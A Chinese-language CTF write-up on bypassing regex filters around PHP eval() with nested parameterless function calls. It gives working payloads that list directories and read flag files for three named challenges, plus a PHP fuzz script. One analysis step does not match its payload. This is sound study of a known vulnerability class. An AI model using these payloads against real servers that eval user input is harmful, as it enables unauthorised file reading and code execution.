PHP无参数RCE

CTF中PHP无参数RCE小结

核心代码如下

1
2
3
4
if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code']))
{
eval($_GET['code']);
}

一般会在此基础上过滤一些函数以增加难度

正则表达式的用于匹配样式如下的字符串

a();
a(bb());
a(bb(ccc()));
a()bb();
a(bb())ccc(dddd());

BTW: 可能在正则递归匹配时会Ban掉’_’

常用函数

  • get_defined_functions() : 显示所有函数
  • localeconv() : 返回一个包含本地数字及货币格式信息的数组,第一个元素为’.’
  • scandir() : 返回指定目录中的文件和目录的数组
  • pos() : 输出当前内部指针所指向的元素
  • current() : 返回数组当前单元,同pos()
  • end() : 将内部指针指向数组中的最后一个元素,并输出。
  • next() : 函数将内部指针指向数组中的下一个元素,并输出
  • file() : 读取一个文件,返回的数组中元素对应每一行的内容
  • readfile() : 读取一个文件
  • sqrt() : 返回一个数字的平方根
  • tan() : 返回一个数字的正切弧度值
  • atan() : 返回一个数字的反正切弧度值
  • cosh() : 返回一个数字的双曲余弦
  • sinh() : 返回一个数字的双曲正弦
  • ceil() : 返回向上取整
  • floor() : 返回向下取整
  • round() : 返回四舍五入取整
  • chr() : 返回指定ASCII值的字符
  • ord() : 返回字符串中第一个字符 ASCII值
  • chdir() : 改变当前的目录
  • localtime(timestamp,is_assoc) : 取得本地时间,数组的第一个元素为秒
  • time() : 对应localtime()的timestamp
  • phpversion() : 返回php版本号
  • crypt() : 使用盐值生成Hash
  • hebrevc() : 反向显示希伯来字符
  • strrev() : 反转字符串
  • file() : 把整个文件读入一个数组中
  • array_reverse() : 返回翻转顺序的数组
  • array_flip() : 反转/交换数组中的键名和对应关联的键值
  • array_rand() : 返回一个包含随机键名的数组

生成 . 的四个思路

  • strrev(crypt()) 生成Hash,并将最后一位的.逆序到第一位,可以使用serialize(array())或phpversion()作为内嵌函数
  • localeconv() 选取第一个元素
  • 数学函数套娃Fuzz
  • localtime(time()) 第46秒

[GXYCTF2019]禁止套娃

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php
include "flag.php";
echo "flag在哪里呢?<br>";

if(isset($_GET['exp'])){
if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {
if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {
if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
// echo $_GET['exp'];
@eval($_GET['exp']);
}
else{
die("还差一点哦!");
}
}
else{
die("再好好想想!");
}
}
else{
die("还想读flag,臭弟弟!");
}
}
// highlight_file(__FILE__);
?>

且当前目录的文件如下

array(5) { [0]=> string(1) "." [1]=> string(2) ".." [2]=> string(4) ".git" [3]=> string(8) "flag.php" [4]=> string(9) "index.php" }
不能控制数组指针直接指向flag.php,只能进行随机读取

Payload0

1
var_dump(readfile(array_rand(array_flip(scandir(chr(ord(strrev(crypt(phpversion())))))))));

分析

  1. phpversion() #用于输出php当前版本信息
  2. crypt(phpversion()) #加密信息,最后一位有可能为.
  3. strrev(crypt(phpversion())) #字符串逆序,将.移动至第一位
  4. ord(strrev(crypt(phpversion()))) #取第一位的ASCII码值
  5. chr(ord(strrev(crypt(phpversion())))) #转为字符,配合上一步可以节选出第一位的.
  6. scandir(chr(ord(strrev(crypt(phpversion()))))) #扫描当前目录
  7. array_flip(scandir(chr(ord(strrev(crypt(phpversion())))))) #将扫描结果数组交换键名与键值
  8. array_rand(array_flip(scandir(chr(ord(strrev(crypt(phpversion()))))))) #随机选取数组键名,即随机选取文件名
  9. readfile(array_rand(array_flip(scandir(chr(ord(strrev(crypt(phpversion())))))))) #读取文件
  10. var_dump(readfile(array_rand(array_flip(scandir(chr(ord(strrev(crypt(phpversion()))))))))) #输出读取文件结果

Payload1

1
var_dump(readfile(array_rand(array_flip(scandir(pos(localeconv()))))));

分析

  1. localeconv() #生成数组,第一个元素为.
  2. pos(localeconv()) #取第一个元素,即.
  3. scandir(pos(localeconv())) #扫描当前目录
  4. array_flip(scandir(pos(localeconv()))) #将扫描结果数组交换键名与键值
  5. array_rand(array_flip(scandir(pos(localeconv())))) #随机选取数组键名,即随机选取文件名
  6. readfile(array_rand(array_flip(scandir(pos(localeconv()))))) #读取文件
  7. var_dump(readfile(array_rand(array_flip(scandir(pos(localeconv())))))) #输出读取文件结果

Payload2

1
var_dump(readfile(array_rand(array_flip(scandir(chr(ceil(sinh(cosh(tan(ceil(atan(phpversion()))))))))))));

分析

  1. phpversion() #输出php当前版本
  2. ceil(cosh(cosh(tan(ceil(atan(phpversion())))))) #使用数学函数计算得出46
  3. chr(ceil(sinh(cosh(tan(ceil(atan(phpversion()))))))) #将46转为.
  4. scandir(chr(ceil(sinh(cosh(tan(ceil(atan(phpversion())))))))) #扫描当前目录
  5. array_rand(array_flip(scandir(chr(ceil(sinh(cosh(tan(ceil(atan(phpversion())))))))))) #随机选取数组键名,即随机选取文件名
  6. readfile(array_rand(array_flip(scandir(chr(ceil(sinh(cosh(tan(ceil(atan(phpversion()))))))))))) #读取文件
  7. var_dump(readfile(array_rand(array_flip(scandir(chr(ceil(sinh(cosh(tan(ceil(atan(phpversion())))))))))))) #输出读取文件结果

Fuzz脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
ini_set("display_errors", "off");
function pass($para)
{
return $para;
}
$func = array('sqrt', 'tan', 'sinh', 'cosh', 'atan', 'ceil', 'floor', 'cos', 'sin', 'pass');
foreach($func as $a){
foreach($func as $b){
foreach($func as $c){
foreach($func as $d){
foreach($func as $e){
if(ceil($a($b($c($d($e(phpversion())))))) == 46)
{
echo "ceil($a($b($c($d($e(phpversion()))))))\n";
}
}}}}}
?>

php中并没有类似于python中的pass(),所以有点可惜
这里udf的pass()是为了更便利地进行fuzz
使用数学函数最少需要六次迭代,使用pass()能够在更多次迭代中找到迭代次数更少的解法

[ByteCTF2019]Boring_Code

节选部分代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
$code = $_GET["code"];
if (';' === preg_replace('/[a-z]+\((?R)?\)/', NULL, $code))
{
if (preg_match('/et|na|nt|strlen|info|path|rand|dec|bin|hex|oct|pi|exp|log/i', $code))
{
echo 'bye~';
}
else
{
eval($code);
}
}
?>

flag为上层目录的最后一个文件

Payload0

1
echo(readfile(end(scandir(chr(pos(localtime(time(chdir(next(scandir(pos(localeconv()))))))))))));

分析

  1. localeconv() #生成数组,第一个元素为.
  2. pos(localeconv()) #取第一个元素,即.
  3. scandir(pos(localeconv())) #扫描当前目录
  4. next(scandir(pos(localeconv()))) #选取元素..
  5. chdir(next(scandir(pos(localeconv())))) #进入上级目录
  6. time(chdir(next(scandir(pos(localeconv()))))) #生成时间戳,php7.4版本中无法进行内嵌函数
  7. localtime(time(chdir(next(scandir(pos(localeconv())))))) #将时间戳转为数组形式的本地时间
  8. pos(localtime(time(chdir(next(scandir(pos(localeconv()))))))) #选取第一个元素,即秒
  9. chr(pos(localtime(time(chdir(next(scandir(pos(localeconv())))))))) #转为ASCII字符,46秒时执行可以得到.
  10. scandir(chr(pos(localtime(time(chdir(next(scandir(pos(localeconv()))))))))) #扫描当前目录
  11. end(scandir(chr(pos(localtime(time(chdir(next(scandir(pos(localeconv())))))))))) #选取最后一个文件,即flag文件
  12. readfile(end(scandir(chr(pos(localtime(time(chdir(next(scandir(pos(localeconv())))))))))) #读取flag文件
  13. echo(readfile(end(scandir(chr(pos(localtime(time(chdir(next(scandir(pos(localeconv())))))))))))) #输出读取flag文件的内容

Payload1

1
if(chdir(next(scandir(chr(ord(strrev(crypt(serialize(array()))))))))echo(readfile(end(scandir(strrev(crypt(serialize(array()))))))));

分析
if语句用于返回上一级,且chdir的返回结果为1,控制if语句执行之后的用于读取flag的嵌套函数

[第五届上海市大学生网络安全大赛]Decade

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
highlight_file(__FILE__);
$code = $_GET['code'];
if (!empty($code)) {
if (';' === preg_replace('/[a-z]+\((?R)?\)/', NULL, $code)) {
if (preg_match('/readfile|if|time|local|sqrt|et|na|nt|strlen|info|path|rand|dec|bin|hex|oct|pi|exp|log/i', $code)) {
echo 'bye~';
} else {
eval($code);
}
}
else {
echo "No way!!!";
}
}else {
echo "No way!!!";
}

这里简单写一下读取文件的思路
由于readfile被Ban,所以需要使用file()来进行文件读取
至于flag的输出,可以使用serialize()进行序列化,join()来讲数组转为字符串,或者用next()指向flag